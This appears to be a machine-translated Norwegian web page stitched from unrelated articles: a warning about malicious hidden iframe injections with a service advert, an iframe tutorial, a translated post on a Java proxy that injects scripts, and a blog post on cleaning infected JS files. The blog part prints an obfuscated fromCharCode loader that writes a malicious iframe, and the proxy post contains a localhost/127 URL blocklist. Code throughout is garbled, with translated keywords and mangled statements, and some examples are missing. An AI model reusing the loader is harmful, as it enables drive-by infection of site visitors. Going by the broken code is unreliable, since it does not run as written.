Slik setter du inn iframe i HTML: eksempel på bruk. Iframe og Frame - hva er de og hvordan man best kan bruke rammer i HTML Endre relative URL-er til absolutte i sidekoden

En av de vanligste måtene å infisere datamaskinen til besøkende på nettstedet er å utnytte en sårbarhet knyttet til et overløp av nettleserbuffere. Oppskriften er ganske enkel. Angripere injiserer ondsinnet kode ved å sette inn iframes på nettsider og prøver å laste ned ondsinnede filer til en intetanende brukers datamaskin. Det er ganske enkelt å oppdage slike ondsinnede innlegg på nettsidene dine. Du må bare være oppmerksom på kodefragmentene som bruker iframe-tilkoblingen. Slike innlegg kan være i både HTML- og PHP-filer.

Angripere prøver nesten alltid å skjule bruken av ondsinnede spill så mye som mulig for eierne, skjule dem visuelt for ressursbrukere og tilsløre (tilsløre) koden deres.

Skjuler iframe-innlegg fra brukernes øyne

For å skjule et ondsinnet innlegg bruker hackere i de fleste tilfeller den samme metoden om og om igjen - de setter egenskapene til taggen slik at den ikke vises på siden, men er inneholdt i koden. Oftest er bredden og lengden satt til null eller én piksel: width="1px", height="1px".

For eksempel kan skadelig kode se slik ut:

Imidlertid begrenser hackere seg ofte ikke til en slik forkledning, og kompletterer fortielsen med mer sofistikerte teknikker som kan forvirre og komplisere søk og eliminering selv for avanserte programmerere.

Obfuskasjon

Dette er en av de vanligste metodene for å beskytte kode i programmering på ustrukturerte språk (som for eksempel PHP). Faktisk handler all kryptering om å blande sammen/tilsløre selve koden ved å endre navn på variabler og andre elementer. Som et resultat er det ganske vanskelig å gjenkjenne tegn på ondsinnethet i obfuskert kode og er kun mulig basert på indirekte tegn på eksplisitt bruk av spesielle JS (JavaScript)-funksjoner som brukes spesifikt for obfuskering: unescape , fromCharCode .

Oppdagelsen av skjult kode på et nettsted betyr imidlertid ikke at det definitivt er skadelig eller lett å fjerne. Du må forstå at for det første kan angripere tilsløre koden, og også fange opp deler av nettstedets arbeidskode. I dette tilfellet, når du prøver å kutte ut et kryptert fragment, risikerer du å krasje ressursen din. For det andre kan tilsløret kode ikke være ondsinnet, men bare en konsekvens av driften av CMS eller dets individuelle komponenter, samt tilleggsmoduler du har installert.

I alle fall, hvis du møter mistenkelig tilslørt kode, må du handle med største forsiktighet.

Andre tegn på infeksjon

Hvis du tviler på om koden du fant er skadelig, kan du prøve å analysere indirekte tegn. Hvis du har et stort antall filer på nettstedet ditt, kan det være lurt å være oppmerksom på dato og klokkeslett siste endring filer. Hvis du kjenner godt scenariene for hvordan CMS fungerer med filer, kan du se nærmere på filer endret på samme dato på samme tid, eller med endringer som skjer i samme tidsintervall, for eksempel 1 sekund.

Hvis du er en avansert programmerer, kan du skrive et skript som sjekker tilstedeværelsen av typen innlegg du har oppdaget i alle filene på nettstedet ditt. Hvis du er enda mer avansert, kan du tvinge skriptet til å kutte ut innlegg, men du må alltid være forsiktig.

Alternative metoder

Vi anbefaler at du bruker Virusday-tjenesten til å fjerne ondsinnede innlegg selv om du er en avansert spesialist. Tjenesten vår inneholder ikke bare mange signaturer som kan brukes til å finne skadelige koder, men sparer også tid! I tillegg vil kostnadene ved å bruke Virusday til rengjøring sannsynligvis være mye lavere enn å betale for din egen tid. Du vil kunne oppdage og fjerne ikke bare iframe-innlegg, men også mange andre trusler. Du vil sannsynligvis kunne finne og automatisk fjerne trusselen som førte til at iframe-innsettinger dukket opp på nettstedet ditt, for eksempel Shell.

Virusday serviceteam.

I begynnelsen av nettstedbygging brukte nettressurser mye rammer for å vise individuelle deler av sidene. Men med ankomsten ny verson HTML 5 har endret alt. Markup-elementer , og er avviklet. De ble erstattet av en enkelt tagg - . Hvordan legge til i html? Eksemplet nedenfor vil være tydelig selv for en nybegynner innen programmering.

Hva er rammer?

Rammen er grunnlaget for de fleste første nettsider. Hvis det blir oversatt bokstavelig, betyr dette ordet "ramme", det vil si at en ramme er en liten del av en side i en nettleser. Den utbredte bruken av rammer i fortiden kan forklares med lav kvalitet og høye kostnader for Internett-trafikk. Som regel ble nettstedet delt inn i 3-5 deler, som hver tjente et bestemt formål:

  • "header" (toppramme langs bredden av siden) - viser navnet på ressursen;
  • venstre/høyre "glass" - menyvisning;
  • Den sentrale rammen er en visning av nettstedets innhold.

Å dele opp siden i deler gjorde det mulig å overbelaste kun en viss del ved oppdatering av den. For eksempel klikket brukeren på et menyelement, og nytt innhold ble lastet ned til den sentrale rammen.

Moderne rammer i HTML 5

Hvorfor er det nødvendig i HTML? Et eksempel er å sette inn innhold fra en tredjepartsressurs. Den klassiske situasjonen er når en nettutvikler ønsker å vise plasseringen til et objekt på et kart. Hva burde jeg gjøre? Tegne en områdeplan fra bunnen av? Nei – det er en enklere løsning: bygg inn et Google Map, Yandex Maps eller 2GIS-element på siden. Problemet løses i fire trinn.

  • Du må gå til nettsiden til en hvilken som helst karttjeneste.
  • Finn ønsket objekt. Når du vet den nøyaktige adressen, kan du skrive den inn i søkevinduet.
  • Bruke "Lagre og få kode"-knappen (for Yandex.Maps) eller "Ferdig" (for Google Kart) få innbyggingskoden.
  • Alt som gjenstår er å legge inn de genererte markup-taggene på siden.
  • I tillegg kan du velge kartstørrelse og konfigurere andre visningsalternativer.

    Hvordan ellers kan du bruke det i HTML?? Et eksempel er å sette inn videomateriale fra YouTube-ressursen. Multimedieteknologi tiltrekker Internett-brukere, og det er derfor videoinnhold er så populært. Utvikleren vil håndtere installasjonen av videoen raskt.

  • Du bør laste opp din egen video til Youtube eller finne en tredjepartsfil å kringkaste.
  • Få taggen ved å velge "HTML Code"-knappen
  • Det siste trinnet er å lime inn i . Et eksempel på det resulterende tag-innholdet vil bli diskutert nedenfor.
  • Begge eksemplene brukte automatisk kodegenerering, men profesjonelle utviklere skal kunne skrive kode selv. For det første vil dette tillate dem å forstå layouten på siden og om nødvendig endre den. For det andre, markeringen av nettstedselementer (selv om de tilhører en ekstern ressurs) dannes ikke alltid uten deltakelse fra webmaster. Det er her de høye kvalifikasjonene til utvikleren spiller inn.

    Syntaks

    Så før du begynner å legge ut siden, må du vurdere iframe (html)-taggen: hva det er og hvordan du bruker det riktig.

    Først av alt bør det bemerkes at taggen er sammenkoblet. Mellom åpnings- og avslutningselementene spesifiserer du innholdet som skal vises i nettlesere som ikke støtter dette markup-elementet. Hovedtagattributter:

    • width(width);
    • høyde(høyde);
    • src (adressen til den nedlastede ressursen);
    • align(align metode);
    • ramme grense;
    • tillat fullskjerm.

    Dermed er koden for . HTML-eksemplet er demonstrert i sin helhet nedenfor:

    I markeringen ovenfor er det nok å erstatte nettstedsadressen med en hvilken som helst annen, og om nødvendig justere rammestørrelsen.

    Element

    Rammer

    Hva gjør den?

    Hvordan sette inn en side i en HTML-side? For å gjøre dette må du bruke , som lager en innebygd ramme i det gjeldende dokumentet der et annet HTML-dokument vises.

    Vise

    Visningsblokk.

    Eksempelkode

    Kraftig, men likevel enkel å bruke

    Tilbake i de dårlige, gamle dagene med webdesign, var det mange elementer som ødela livet til hver utvikler. De var nesten alltid en dårlig designtilnærming. Heldigvis har elementet blitt avviklet i HTML5. Men eller "inline frame" er fortsatt tilgjengelig. Vil det bli avviklet i neste versjon? Kanskje vi bør unngå det? Det er flere gyldige bruksområder for dette elementet når du oppretter en HTML-side. Men du må forstå hva det er og hvordan det fungerer for å unngå feil.

    Likheter og forskjeller og

    Begge disse elementene lar deg lage et separat HTML-dokument. En lenke til innholdet i dokumentet som den gjeldende nettsiden refererer til, er spesifisert i src-attributtet.

    . . . . . .

    Hovedforskjellen mellom og er at den håndhever regelen om at HTML-dokumentet har forrang. Innhold vises i et element som er en del av det gjeldende dokumentet. Som et eksempel kan du vurdere denne innebygde videoen hentet fra YouTube:

    Videoen er tydeligvis på en HTML-side, og ikke på noen separat panel. element brøt dette paradigmet og tillot dokumentet å utøve kontroll over nettleservinduet, og delte det opp i flere små paneler (rammer), som hver viser et separat dokument. Alle andre forskjeller mellom og følger av denne grunnleggende forskjellen.

    Ikke lag om rammebaserte oppsett med iframes

    En dag kan du stå overfor oppgaven med å oppdatere et gammelt nettsted som ble bygget med rammer. Du vil kanskje også bruke et oppsett med fast bredde for å gjenskape det samme marerittet med uavhengige paneler og terskler. Men du vil ikke kunne bruke målattributt for å åpne lenken i en egen ramme. Du kan begynne å lete etter JavaScript-løsninger. Ikke gjør det er du snill.

    Gode ​​(og forferdelige) bruksområder

    Det er flere gyldige brukstilfeller for HTML-oppretting sider:

    • innebygging av tredjeparts medieinnhold;
    • bygge inn ditt eget medieinnhold gjennom et dokument på tvers av plattformer;
    • eksempler på innbyggingskode;
    • innebygging av tredjeparts "applets" som betalingsmåter.

    Her er noen forferdelige brukstilfeller:

    • Bildegalleri;
    • forum eller chat.

    Hvis du trenger å bygge inn uavhengige, allerede eksisterende HTML-dokumenter i det gjeldende, bruk . Hvis du bygger alt fra bunnen av, er det ingen grunn til å dele sidedesignet i flere separate dokumenter. Spesielt hvis de faktisk ikke er uavhengige deler av innhold.

    iframe-attributter
    Attributtnavn Betydning Beskrivelse
    Sandkasse Tillat-samme opprinnelse
    Tillat toppnavigering
    Tillat-skjemaer
    Tillat-skript
    Angir en rekke begrensninger for innholdet som lastes inn i rammen. Angi før du oppretter en HTML-side.
    rulling ja nei auto Bestemmer om ruller skal vises i rammen eller ikke. Avviklet i HTML5. Bruk CSS i stedet.
    Navn Navn Angir navnet på rammen.
    Tilpasse venstre høyre øverst
    midt nederst
    Bestemmer rammens justering i forhold til omkringliggende elementer. Er utdatert. Bruk CSS i stedet.
    ramme grense ja (eller 1)
    Nei
    Brukes for å aktivere visning av en kant rundt rammen. Avviklet i HTML5. Bruk CSS i stedet.
    longdesc URL Brukes til å spesifisere URL-en til en side som inneholder en lang beskrivelse av innholdet i rammen. Er utdatert. Bruk CSS i stedet.
    marginbredde piksler Brukes til å kontrollere bredden på polstringen fra innholdet til rammekanten. Er utdatert. Bruk CSS i stedet.
    src URL Angir dokumentets URL som skal vises i IFRAME.
    vspace piksler Angir de vertikale margene fra rammen til det omkringliggende innholdet. Er utdatert. Bruk CSS i stedet.
    bredde piksler % Definerer bredden på rammen med HTML-side.

    Denne publikasjonen er en oversettelse av artikkelen "", utarbeidet av det vennlige prosjektteamet

    Vi laget en analog av Google Webmaster Marker-verktøyet. La meg minne deg på at Marker er et verktøy i Google Webmaster-kontoen som lar deg kommentere Open Graph-sidene dine med tagger. For å gjøre dette, velger du ganske enkelt et stykke tekst på siden med musen og indikerer at dette er tittelen, og dette er vurderingen. Siden din lastes inn i en iframe i nettredaktørens konto.

    Nå vet Google, etter å ha støtt på en lignende side på nettstedet ditt, allerede hva slags innhold som er publisert på den, og hvordan man kan analysere det vakkert til essensen (artikkel, produkt, video..)

    Vi trengte lignende funksjonalitet. Oppgaven virket enkel og utelukkende på klientsiden. Men i praksis ligger løsningen i skjæringspunktet mellom klientside og serverside («rene» JS-programmerere vet kanskje ikke noe om ulike proxy-servere og bruker svært lang tid på å nærme seg prosjektet). Jeg fant imidlertid ikke en artikkel på Internett som ville beskrive hele teknologien fra start til slutt. Jeg vil også takke BeLove-brukeren og sikkerhetsvaktene våre for hjelpen.

    I vårt tilfelle ønsket vi at nettredaktøren enkelt (ved å klikke med musen) kunne få xPath-verdien for enkelte elementer på siden sin.

    Iframe "Samme opprinnelse" Og så i administrasjonspanelet vårt må en person skrive inn nettadressen til siden til nettstedet hans, vi vil vise det i iFrame, personen vil peke med musen der det er nødvendig, vi vil få den nødvendige xPath. Alt ville være i orden, men vi har ikke tilgang til innholdet på en side fra et annet domene som er lastet inn i en iframe i administrasjonspanelet vårt (domenet vårt), på grunn av nettleserens sikkerhetspolicy. å bruke CORS. En fasjonabel teknologi som løser mange problemer med å få tilgang til innhold fra et annet domene i nettleseren og lar deg omgå restriksjoner for samme opprinnelsespolicy.
    Et nettsted som ønsker å gi tilgang til innholdet på sidene til andres domene, skriver ganske enkelt i http-overskriften:
    Access-Control-Allow-Origin: http://example.com
    Og i tittelen http-forespørsel kommer fra en side i et annet domene fra nettleseren, skal det være et opprinnelsesfelt:
    Opprinnelse: www.mysupersite.com
    Det er tydelig at nettleseren selv legger til opprinnelsesfeltet i forespørselen. La oss se på artikkelen om Habré og se at moderne nettlesere legger Origin selv til en forespørsel om samme domene:

    Derimot:

  • nettleser indikerer ikke opprinnelse i overskriften på forespørselen til siden som lastes inn i iframe (kan noen forklare hvorfor?)
  • vi ønsker ikke å be nettredaktører spesifisere Access-Control-Allow-Origin-overskriften
  • Iframe sandbox En annen fasjonabel teknologi. Sandbox er et attributt til Iframe-taggen. En av verdiene til dette attributtet kan settes til tillate-samme-opprinnelse . Før jeg begynte å grave i dette emnet, visste jeg ikke nøyaktig hva denne egenskapen gjør, men det hørtes veldig fristende ut. Sandbox-attributtet begrenser imidlertid bare hva en side lastet i en iframe kan gjøre og har ingen betydning for spørsmålet om tilgang til innholdet i rammen fra det overordnede dokumentet.

    Spesifikt, tillat-samme-opprinnelse-verdien (eller rettere sagt, fraværet) sier bare at iframen alltid skal betraktes som lastet fra et utenlandsk domene (du kan for eksempel ikke sende AJAX-forespørsel til domenet til det overordnede dokumentet)

    La oss se hvordan Google gjorde det På tide å se hvordan storebror gjorde det

    La oss ta hensyn til src-attributtet til iframe-elementet: src="https://wmthighlighter.googleusercontent.com/webmasters/data-highlighter/RenderFrame/007....." - siden vår lastes inn i administrasjonspanelet med Google-domene. Videre er det enda mer alvorlig: til og med skript og bilder i kildedokumentet kjøres gjennom en proxy. Alle src, href... erstattes i html med proxyer. Noe sånt som dette:

    Alle ressurser som siden din bruker, lagres også på Googles proxy-servere. Her er vår for eksempel.

    CGIProxy? Det så umiddelbart ut til at for å gjøre det samme, må du heve en fullverdig proxy som CGIProxy. Denne proxy-serveren gjør omtrent det samme som Googles wmthighlighter.googleusercontent.com
    Besøk skriptets URL for å starte en nettlesingsøkt. Når du har fått en side gjennom proxyen, vil alt det lenker til automatisk gå gjennom proxyen. Du kan bokmerke sider du blar til, og bokmerkene dine vil gå gjennom proxyen slik de gjorde første gang. Din egen proxy! Men hvis du begrenser oppgaven, er det mye enklere å skrive en enkel proxy selv. Faktum er at Google gjør dette, å sende alt sideinnhold gjennom en proxy er slett ikke nødvendig. Vi trenger bare html-en til en hvilken som helst side som skal betjenes fra domenet vårt, og ressurser kan lastes fra det opprinnelige domenet. Vi har forkastet HTTPS for nå.
    Det er ikke behov for superytelse eller enkle innstillinger her, og dette kan gjøres raskt og med hva som helst, fra node.js til php. Vi skrev en servlet i Java Last ned siden Hva skal en proxy-servlet gjøre? Ved å bruke get-parameteren får vi url-en til siden som må lastes, og last ned siden.

    Sørg for å bestemme kodingen av siden (via http-svar eller tegnsett i html) - proxyen vår må svare i samme koding som siden vi lastet inn. Vi vil også definere innholdstypen i tilfelle, selv om det er klart at vi får siden i tekst/html, og vi vil gi den tilbake på samme måte.
    final String url = request.getParameter("url"); final HttpGet requestApache = new HttpGet(url); final HttpClient httpClient = new DefaultHttpClient(); final HttpResponse responseApache = httpClient.execute(requestApache); final HttpEntity-enhet = responsApache.getEntity(); final String encoding = EntityUtils.getContentCharSet(entity); final String mime = EntityUtils.getContentMimeType(entity); String responseText = IOUtils.toString(entity.getContent(), koding);
    *For de som liker å evaluere andres kode: i teamet vårt har alle de samme formateringsinnstillingene for eclicpse-kode, og når du lagrer en fil, legger eclipse selv til finalen til alle variabler hvis de ikke endres noe annet sted. Noe som forresten er ganske praktisk til slutt.

    Endre relative URL-er til absolutte i sidekoden Du må gå gjennom alle attributtene med src og href på siden (stier til stilfiler, bilder), og erstatte relative URL-er med absolutte. Ellers vil siden prøve å laste ned bilder fra noen mapper på proxyen vår, som vi naturligvis ikke har. Alle språk har ferdiglagde klasser, eller du kan finne kodebiter for dette på stackoverflow:
    endelig URI uri = ny URI(url); final String host = uri.getHost(); responsTekst = replaceRelativeLinks(vert, responstekst); Sender html Det er alt, proxy-servleten er klar. Vi sender et svar, stiller inn nødvendig koding og mime.
    beskyttet void sendResponse(HttpServletResponse response, String responseText, String encoding, String mime) kaster ServletException, IOException ( response.setContentType(mime); response.setCharacterEncoding(encoding); response.setStatus(Httsponse responseSC.WriteSC.WriteSC.Write). print(responseText); response.flushBuffer(); Implementer og test Distribuer proxy-servleten vår til samme adresse som adminpanelet adminpanel.indexisto.com, last inn webmasterens nettside i iframen vår og alle problemer på tvers av domene forsvinne.
    Vår proxy fungerer kl
    http://adminpanel.indexisto.com/highlighter?url=http://habrahabr.ru
    - dette er hvordan huben vil lastes fra domenet vårt. Vi gir denne adressen i iframen og prøver å få tilgang til DOM-treet til huben via JS i adminpanelet - alt fungerer. CSRF vil naturligvis ikke fungere siden siden ble lastet inn fra vår proxy som ikke har informasjonskapsler. startside vår nginx. La oss prøve en intern (ikke synlig for utsiden) ressurs på samme nettverk som vår proxy-server. For eksempel secured_crm.indexisto.com - alt er på plass.
    Selvfølgelig prøver vi å forby disse tingene i vår proxy, hvis noen prøver å proxy localhost avslutter vi uten å returnere noe:
    if (url.contains("localhost")||url.contains("127")||url.contains("highlighter")||url.contains("fil")) ( LOG.debug("Prøver å hente lokal ressurs Url = " + url); return. )
    men vi vil tydeligvis ikke liste opp alle nettverksressurser her. Dette betyr at vi må flytte proxyen inn i et fullstendig isolert miljø slik at maskinen ikke ser noe annet enn Internett, seg selv og proxyen vår. Vi velger en maskin, konfigurerer og starter servleten vår der XSS-problem La oss laste opp siden vår til iframen vår som vi vil skrive:
    alert("xss")
    Et varsel dukker opp. Dessverre. Dette kan omgås med iframe sandbox allow-scripts-attributtet, men hva med eldre nettlesere som egentlig ikke forstår dette attributtet? Du kan bare stjele informasjonskapslene dine, men du kan fortsatt ikke la dem være slik.
    Vi flytter servleten ikke bare til en egen maskin, men gir den også et eget underdomene highlighter.indexisto.com .

    Vi ankom, vi brøt vår egen løsning med å omgå restriksjoner på tvers av domener. Nå kan vi ikke nå iframe-innholdet igjen.

    Jeg fortsatte å finne en løsning fra Google, og åpnet siden vår som serveres gjennom en proxy i et eget vindu

    Og jeg la merke til en merkelig feil i konsollen.
    CrossPageChannel: Kan ikke koble til, peer-vindu-objekt ikke angitt.
    Det ble klart at alt er mer organisert enn bare å laste en side inn i en iframe fra domenet ditt. Sider kommuniserer med hverandre. Følgelig beveger vi oss mot window.postMessage

    Post Message Det var umenneskelig å tvinge nettredaktøren til å legge inn skriptet vårt på siden deres, noe som ville sikre at sideelementer ble valgt med musen, og deretter ville xPathen til disse elementene bli sendt til oss i det overordnede dokumentet via postMessage. Imidlertid er det ingen som hindrer vår proxy fra å injisere skript på siden som er lastet inn i iFrame.
    Vi lagrer alle skriptene som er nødvendige for implementering i en fil og setter dem inn før avslutningsteksten:
    final int positionToInsert = responsText.indexOf(""); final InputStream inputStream = getServletContext().getResourceAsStream("/WEB-INF/inject.js"); final StringWriter writer = new StringWriter(); IOUtils.copy(inputStream, writer); final String jsToInsert = writer.toString(); responseText = responseText.substring(0, positionToInsert) + jsToInsert + responseText.substring(positionToInsert, responseText.length());
    for testing setter vi inn et varsel - alt fungerer JS-delen - vi markerer huselementet under musen og får xpath Ok, la oss gå videre til den faktiske JS-en som vi satte inn på webmasterens side.
    Vi må fremheve dom-elementer som en person beveger musen over. Det er bedre å gjøre dette ved å bruke skygge fordi da vil ikke elementet bevege seg og hele siden hopper. Vi henger med musen over kroppen og ser på målet for arrangementet. I samme behandler beregner jeg xpath til elementet. Det er bedre å beregne xPath for et element per klikk, men jeg la heller ikke merke til noen nedganger i denne implementeringen.
    elmFrame.contentWindow.document.body.onmouseover= function(ev)( ev.target.style.boxShadow = "0px 0px 5px red"; curXpath = getXPathFromElement(ev.target); )
    Jeg gir ikke implementeringen av å få xPath til et DOM-element her. Det er mange utdrag om hvordan du gjør dette. Disse utdragene kan endres for å passe dine behov, for eksempel trenger du bare tagger i xpath. Eller trenger du id hvis de finnes og klasser hvis det ikke er id - alle har sine egne krav.

    Her er et eksempel på en proxy hjemmeside Habr med innebygd skript:
    http://highlighter.indexisto.com/?md5=6ec7rdHxUfRkrFy55jrJQA==&url=http%3A%2F%2Fhabrahabr.ru&expires=1390468360

    JS-del - behandle klikket En persons klikk på siden i iframen "slukkes" umiddelbart (lenken i iframen vil ikke bli fulgt). Vi sender også strengen til den mottatte xPath til overordnet vinduet (vi lagret den på stadiet med å flytte musen over elementet)
    document.body.onclick = function(ev)( window.parent.postMessage(curXpath, "*"); ev.preventDefault(); ev.stopPropagation(); ) Profit! Det er alt, nå i administrasjonspanelet vårt kan en webmaster raskt få xpath-stier til elementer på sidene sine mye enklere.

    La oss legge til litt mer sikkerhet Ok, alt fungerte for oss, men det er et problem med at proxyen vår ser helt ubeskyttet inn i verden. Hvem som helst kan fullføre hva som helst.

    Vi setter nginx foran proxyen, den lytter til port 80, og vi fjerner selve proxyen til en annen port. Vi stenger alle andre porter unntatt 80 fra omverdenen.

    La oss nå få proxyen til å fungere bare gjennom administrasjonspanelet. I det øyeblikket webmasteren skriver inn URL-en til nettstedet sitt, kjører vi raskt til serveren hvor vi genererer en md5-hash fra gjeldende TimeStamp + 1 time, selve URL-en og superhemmeligheten når:
    final String md5Me = timeStampExpires + urlEncoded + "SUPERSECRET"; final MessageDigest md = MessageDigest.getInstance("MD5"); md.reset(); md.update(md5Me.getBytes("UTF-8")); String code = Base64.encodeBase64String(md.digest()); code = code.replaceAll("/", "_"); kode = code.replaceAll("\\+","-");
    Legg også merke til at i koden mottar vi md5-strengen ikke som den vanlige hex, men i base64-koding, pluss i den resulterende md5 gjør vi merkelige erstatninger av skråstrek og plusstegn med understrek og bindestrek.
    Faktum er at ngnix bruker base64 Filename Safe Alphabet tools.ietf.org/html/rfc3548#page-6
    Og Java gir kanonisk base64.

    Etter å ha mottatt et svar fra en server med sikker md5 i administrasjonspanelet vårt, prøver vi å laste inn følgende url i iframen:
    highlighter.indexisto.com/?md5=Dr4u2Yeb3NrBQLgyDAFrHg==&url=http%3A%2F%2Fhabrahabr.ru&expires=1389791582

    Nå konfigurerer vi nginx HttpSecureLinkModule-modulen. Denne modulen sjekker md5 for alle parameterne som kom til den (den samme hemmelige nøkkelen er registrert i modulen som i admin-servleten), sjekker om koblingen er parset, og bare i dette tilfellet videresender forespørselen til vår proxy-servlet .

    Nå kan ingen bruke proxyen vår fra utenfor administrasjonspanelet, og kan heller ikke sette inn et bilde som er forespurt til serveren vår hvor som helst - det vil dø om en time uansett.

    Det er alt folkens Google gikk naturligvis mye lenger med markeringsverktøyet For å tydelig identifisere et element på en side, må du merke det samme elementet (for eksempel tittelen på en artikkel) på flere sider av samme type. at du kan bygge xpath mer nøyaktig og forkaste forskjellige IDer som "post-2334", som åpenbart bare vil fungere på én side I administrasjonspanelet vårt må xpath korrigeres manuelt for å få et akseptabelt resultat.

    Jeg ønsket å starte bloggen min med tekster, men det var en så turbulent uke at jeg bestemte meg for å hilse alle med en innholdsrik artikkel. Hallo!

    Og hele uken gikk i kriger med konstant hacking av hostingen min og infeksjon av alle JavaScript-filer med iframes, og dette er ikke mindre enn ca 2500 skript og alle nettsteder med virus.

    Jeg hadde ikke tid til å fjerne alle filene på en dag. manuell innstilling og endre passord, men dagen etter skjedde alt igjen - passordene lekket på en eller annen måte, og skriptene ble igjen vellykket åpnet via FTP.

    Fredag ​​i uken var dråpen og jeg brukte dagen på å beskytte serverne mine:

  • Konfigurert .ftpaccess på serverne - og begrenser dermed FTP-tilgang til servere fra alle IP-er unntatt den statiske;
  • Jeg skrev et skript for automatisk fjerning for iframes og virus fra alle .js-filer. Så i rekkefølge.
  • Infeksjon av nettstedsfiler skjer ved ganske enkelt å sette inn iframe-kode i filer via ftp. Tidligere observerte jeg oftere innsettinger i .php, .html-filer - noe som førte til fullstendig krasj av nettsteder, i dag har malware blitt snillere og begynte å skrive inserts utelukkende. i filer med filtypen .js - JavaScript . IFRAME-innlegg skrives på slutten av filen og kan enten være i eksplisitt form (enkelt oppdaget av antivirus) eller i kodet form (arbeidet til forskjellige iframe-cryptorer), for eksempel:

    prøv ( q= document.createElement ("u") ; q.appendChild (q+ "" ) ; ) catch (qw) ( h=- 012/ 5 ; zz= "a" + "l" ; f= "fr" + "om" + "Ch" ; f+= "arC" ;) prøv ( qwe= prototype ; ) catch (brebr) ( zz= "zv" .substr (123 - 122 ) + zz; ss= ; f+= (h ) ? "ode" : "" ; w= w[ f.substr (11 ) + zz] ; $55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5" (e) " : "" ) + "p" + "lit" ] ("a$" .substr (1) ); for (i= 6 - 2 - 1 - 2 - 1 ; i- 684 != 0 ; i++ ) ( k= i; ss= ss+ String .fromCharCode (- 1 * h* (3 + 1 * n[ k] ) ) q= ss;

    try(q=document.createElement("u");q.appendChild(q+"");)catch(qw)(h=-012/5;zz="a"+"l";f="fr" +"om"+"Ch";f+="arC";)try(qwe=prototype;)catch(brebr)(zz="zv".substr(123-122)+zz;ss=;f+=(h )?"ode":"";w=this;e=w;n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$5.$51$5$5.7$3$5$13$4. $3,5 $2$59.5 $17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1 -2 -1;i-684!=0;i++)(k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));)q=ss;e (q ;)

    Alt dette symbolske kaoset ble resultatet JavaScript fungerer blir til en lettlest HTML-kode for iframe-innsatsen og laster ned virusteksten til brukeren av nettstedet gjennom driften av utnyttelsen. Basert på denne minimumsteorien vil vi begynne å beskytte oss mot nettsideinfeksjoner.

    Settings.ftpaccess - begrense FTP-tilgang til servere

    Virus som raner ftp-passordene dine er så utspekulerte at antivirus ofte er maktesløse og passord lekker, uansett hvor hardt du beskytter deg selv. Jeg foreslår å ta en annen vei - og ganske enkelt blokkere tilgangen til ftp-en din. For å tillate FTP-tilgang kun fra visse IP-er, plasser .ftpaccess-filen med innholdet i roten til serveren eller nettstedsmappen:

    Tillat fra xx.xx.xx.xx Tillat fra xx.xx.xx.xx Avslå fra alle

    Der xx.xx.xx.xx er din IP som FTP-aktivitet er tillatt fra, farvel til alle andre.

    For en dedikert IP, ring leverandøren din!

    Hvis du fortsatt ikke kan få en dedikert adresse, men har dynamiske adresser, kan du spesifisere rekkevidden av adresser som IP-adresser utstedes fra av Internett-leverandøren din, for eksempel vil det se slik ut:

    Tillat 212.32.5.0/26 Tillat 158.152.0.0/16 Avslå fra alle

    Dette vil begrense hackers tilgang til serverne dine.

    Skript for automatisk fjerning fra alle iframe-innsettingsfiler

    Etter at serverne var beskyttet, begynte jeg å skrive et skript som kunne sjekke nettstedet for virus og ville gå gjennom alle vertsmappene, sjekke filformatene jeg spesifiserte for tilstedeværelsen av iframes i innholdet. Resultatet av arbeidet var følgende skript, som fjerner skadelig kodeinnsetting fra nettstedssider, i et spesifikt eksempel fra .js-skript:

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 $v) ( $virus_text = $GLOBALS [ "virus_start" ] ; $pos_start = stripos ($v , $GLOBALS [ "virus_start" ] ); $pos_end = stripos ($v , $GLOBALS [ "virus_end" ] ); $ virus_text = substr ($v, $pos_start, $pos_end) ; if ($virus_text != "" ) ( if (! stristr ($v , $virus_text ) ) ( $nfile = $v ; ) else ( if (! $ flagg ) ( $flag = true ; if (in_array ($ffile , $GLOBALS [ "skip_files" ]) ) echo " - hoppet over" ; else ( echo " - infected" ; $GLOBALS [ "num_infected" ] ++; ) ) ) ) else ( $nfile = $v ; ) ) if ( $GLOBALS [ "del" ] ) ( $file = fopen ($filnavn , "w") ; fwrite ($fil , implode ($nfile , "") ) ; fclose ($file ); echo "Num infected = $num_infected " ; ?>

    $v) ( $virus_text = $GLOBALS["virus_start"]; $pos_start = stripos($v, $GLOBALS["virus_start"]); $pos_end = stripos($v, $GLOBALS["virus_end"]); $ virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") ( if (!stristr($v, $virus_text)) ( $nfile=$v; ) else ( if (!$) flagg) ( $flag=true; if (in_array($ffile, $GLOBALS["skip_files"])) echo " - hoppet over"; annet ( echo " - infected"; $GLOBALS["num_infected"]++; ) ) ) ) else ( $nfile=$v; ) ) if ($GLOBALS["del"]) ( $file=fopen($filnavn,"w"); fwrite($fil,implode($nfil,"")) ; fclose($file); echo "Num infected = $num_infected "; ?>